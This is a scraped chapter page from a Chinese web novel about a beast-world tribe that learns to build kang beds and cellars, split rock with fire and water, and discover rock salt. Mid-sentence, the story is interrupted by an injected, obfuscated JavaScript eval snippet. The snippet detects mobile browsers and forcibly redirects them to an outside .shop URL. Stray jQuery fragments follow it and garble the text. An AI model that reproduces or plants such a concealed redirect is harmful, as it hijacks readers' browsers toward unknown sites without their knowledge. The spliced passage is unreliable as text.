文趣网 > 其他小说 > 被通缉的兽世种田记 > 11.开山
    “有道理。”金朔赞同的点点头,“那我们建个什么样的?”

    “今天大家把地方定下来了么?定好了明天我带大家去建房子,搭土炕。”砚川说完发现金朔眨巴着眼睛看着他,明白他不知道什么是土炕,于是指着那个地炕道,“就是每家建一个这个,但是这次的不一样,可以睡上去,冬天没有皮毛的雌性和幼崽们也不怕冷了。”

    “这真的么?!”

    “可以睡上去?!”

    “这样就能烤更多的柴,不怕下雨下雪了!”

    “也不怕淋湿了!”

    “那是不是还要叫上鼠族一起去啊?”

    见大家都这么聊起来,荆洞终于觉得自己可以在大家面前挺胸抬头一次,堂堂正正做个被认可的兽人。

    “不用,我们可以做到。”砚川看着火塘里的草木灰,一心想等会儿火灭了收集储存起来,根本没看见荆洞的表情,从抬头挺胸逐渐塌回去,委委屈屈的看着砚川。

    “你他妈的给别人干活上瘾是不是?!”鼠父一巴掌呼在荆洞后脑勺,骂了一句不争气的儿子,这才唤回了砚川的注意。

    没想到荆洞这么失落,砚川立刻改口道:“我的意思是,荆洞还有更重要的任务,他可以给我们挖个地窖,以后就能像鼠族储存过冬的粮食一样,把吃的放进地窖里。”

    “好主意啊!”

    “跟鼠族一样把东西藏在地里能放多久?”

    “那么小我又没下去过,放四五天可以么?”

    “你不知道地下冬暖夏凉可舒服啦。”幼鼠叽叽喳喳的跟大家聊起地底下的生活。

    “夏天可能不会放太久,但是我们可以在山上凿冰雪下来放进地窖,等夏天就可以放更长时间。”砚川点点头,看着荆洞笑了笑。

    “让鼠族知道东西在哪儿?”见砚川冲那个鼠族笑,石兀心里莫名堵上一口气,质问出一句让大家心里都横了块石头的话。

    不知道石兀究竟怎么了,砚川有些想不明白,不过大家担心自己的财产这一点总不是错:“我会托荆洞在我家院子里挖一个地窖,其余的大家随意吧。”

    “在家里挖地洞你也不问问我?”石兀皱眉看向砚川,期待着砚川快央求他一下,或者跟他说句话也行啊。

    “啊?”砚川傻了一下,“我就在我家挖一个,你家你自己说了算。”

    “你不跟我住一起?!”石兀皱起鼻子面露凶相。

    “我们不是做炕么?做了炕就不用麻烦你替我取暖,等冬天你可以做点自己的事情。”砚川嘴里的话……贴心的冰冷。

    虽然砚川的确是理他这茬了,但是并没有什么台阶可下。

    甚至石兀还觉得似乎失去了点什么……

    究竟失去了什么他也不知道,但心里的确舍不得。

    “哎呀……”旁边一起在火塘边烤火的阿花婶搓着大腿,眼睛瞟着石兀的表情,故作为难道,“建房子,肯定是先建族长那间对吧?”说完捅了捅旁边自家雄兽。

    阿花叔被捅了一下看了看四周,脑子立刻上线:“是啊,还有那么多家没有住的地方,砚川你自己一个人住的话,怕的是大家一时间没有那么多空闲啊……”

    闻言石兀松了口气。

    “没事的,你们先忙别人的。”砚川干脆利落的说道,“我自己一个人不用建太大,有荆洞他们在,帮我一起搭个可以住的地方就行,再者这里暂时还能睡,上次大雨存下的积水没那么快喝光。”

    这口气还没松完就噎在了石兀的肋骨里。

    手里这个笊篱已经完工了,砚川伸手叫来荆洞,大家一起围在火塘边,讲着做这个工具的要点。

    “要这样烤一烤树枝,受热就可以软化弯曲。”砚川一边示范一边连带明天的建造给大家讲解要点,“我们缺少干草,可以暂时用桦树皮铺屋顶,如果大家喜欢用石头黏土做的屋子也可以参考我那个土窑,这样的四壁相对来说结实保暖一些,再盖上桦树皮做的屋顶,大家就可以省去晾干草的时间,但石头的搬运不太容易……”

    “是啊,没有那么多大小正好的碎石头。”

    “我也喜欢这样用石头搭,那就不用总扯树枝干草盖房子了。”

    “对啊,翻新太麻烦了。”

    “那谁不喜欢,可是没有凿子开山我们谁也凿不开啊。”

    大家七嘴八舌的讨论着,都对砚川说的石头黏土搭建的房子很中意。

    “这样吧,我们去洞外示范一下。”砚川把做好的笊篱递给荆洞,起身走出洞外。

    在火把的照明下带着大家去外面找了一块带着岩层的大石头,检查了一下质地,砚川看准了这种石头有一定程度的平整,就在石头下的缝隙间填上干草点燃,示意大家退后。

    石头边包围着柴火和干草,大火燃烧着这块石头,却纹丝不动。

    砚川用采来的桦树皮兜了点水,看温度已经烧的差不多了,示意大家再往后推,一把将水泼向燃烧着的石头。

    受热膨胀的石头突然遇冷水收缩,但因为水并不多,啪的一声只炸开了一道缝。

    “哇!石头炸开了!”

    “怎么做到的?”

    “巫术!一定是巫术!”

    “不是巫术。”砚川哭笑不得,“大家看会了么?就这样烧热了往上泼水,石头就分成小块了,一直可以崩成大家需要用的大小,但是一定注意安全,这个过程很危险。温度要烧够,泼了水才会有效,等石头放凉就可以运下去了。”

    大家欢呼着围着石头看,这样他们建造的房子就足够抵挡风吹雨打,那么高的地势房屋又不会被淹没,那岂不是可以一劳永逸?

    干劲十足的烧起石头,兽人们接着火光把石头炸成小块,砚川指导着大家,想从哪儿断开就把火力重点烧在哪儿,烧到可以背负的大小,然后用藤蔓草绳捆扎起来,等到白天再统一运下山,到了山下再烧炸成可以搭建房子的砖块大小,或者用石斧修理整形。

    雌兽们热火朝天的搓草绳,雄兽们开石头,砚川拿起瑞士军刀在一块沉木上钻了个孔,插上木棍凿实做了一个简易纺锤用重力拧紧草绳,发现沉木依

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722815|208425||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    然太轻效果不好,又挑大小合适的鹅卵石,用瑞士军刀的开瓶器在树枝上打孔塞进去,这次才趁手了一些。

    大家满怀希望越干越起劲一直到深夜才睡下。第二天天刚蒙蒙亮,阿木就把砚川抻起来带着他上山开石头。

    砚川连眼睛都没有睁开,在鬣狗背上一直向下打滑,就在砚川终于爬到鬣狗肩上位置的时候,阿木看到了地方一个急刹,砚川直接从阿木头顶惯出去了。

    一切发生的太快,根本没有拦下砚川的机会,叽里咕噜的滚到石头边,脸都磕在了石壁上。

    这一下磕得砚川七荤八素,大家赶忙上前查看,砚川牙龈鼻子都在出血,脸上还有擦伤,立刻就红肿起来了。

    “这么着急干什么?!”石兀看见砚川的脸都被磕花了,转过头朝阿木发脾气,“让你接他来!你就驼石头一样?”

    “我不是故意的……我我我没想到他这么轻,会甩出去……”阿木也很紧张,上前一直问砚川,“你没事吧?你别吓我啊!你有事族长非撕了我不可……”

    摸了摸鼻子和脸上的骨头,除了外皮有疼痛感,里面没有伤到,砚川摔得这一下看上去很惨,但好在没有什么实质性伤害。

    嘴里苦咸苦咸的,砚川吐了两口血沫之后牙龈的出血就止住了,但是咸味并没有消失。

    一只粗壮的手递过来片叶子,上面有清亮能映入人影的一捧水。砚川喝了一口漱干净嘴里的异味,那股苦咸却依然挥之不去。

    这么咸的?总不能是他的血吧?

    摸着石壁站起来,费力得顶着红肿的眼眶,睁开眼看了看面前的石壁。

    “我在这儿。”石兀皱着眉头拍拍砚川的肩膀,担忧的问道,“还能看见我么?”

    用手指沾了一点石壁上的碎屑,砚川尝了尝,发现了不得了的东西——是浓度很高的岩盐。

    文献上说这种盐生成需要条件,并不是随处可见,毕竟裸露岩石也需要一定的地理特性。

    但是随之而来的也有个弊端,这种盐含量虽然高,但开采难度大。

    抹了一把鼻子流出来的血,砚川还在摸眼前的石壁,一边摸一边顺着崖壁走,这种微涩的滞手感,整整一片崖壁都是。

    “怎么了?”石兀不理解砚川在看什么。

    “石头表面崩开的碎屑收起来,带回山洞我看看。”砚川捂着鼻子嘱咐道。

    “好,一会儿我叫人用树皮给你收回去。”石兀看砚川摔成这幅惨样,喉咙里的话不好意思开口。“我送你回去休息。”

    “叫我来是有什么事?”砚川在枯树叶上蹭了蹭血迹问道。

    “你都摔成这样了。”金朔劝道,“快回去休息吧。”

    “有什么问题赶紧解决,不然我们在下一场大雨前盖不上房子又要从头再来。”砚川摇摇头抹了一把鼻子。

    “刚刚我们开了一块石头,可这块石头太容易粉碎,一下崩成好多小块,你看看能用么?不能的话也太可惜了,烧了那么多木柴。”阿木委委屈屈的解释着,“只不过一下子有点着急了……”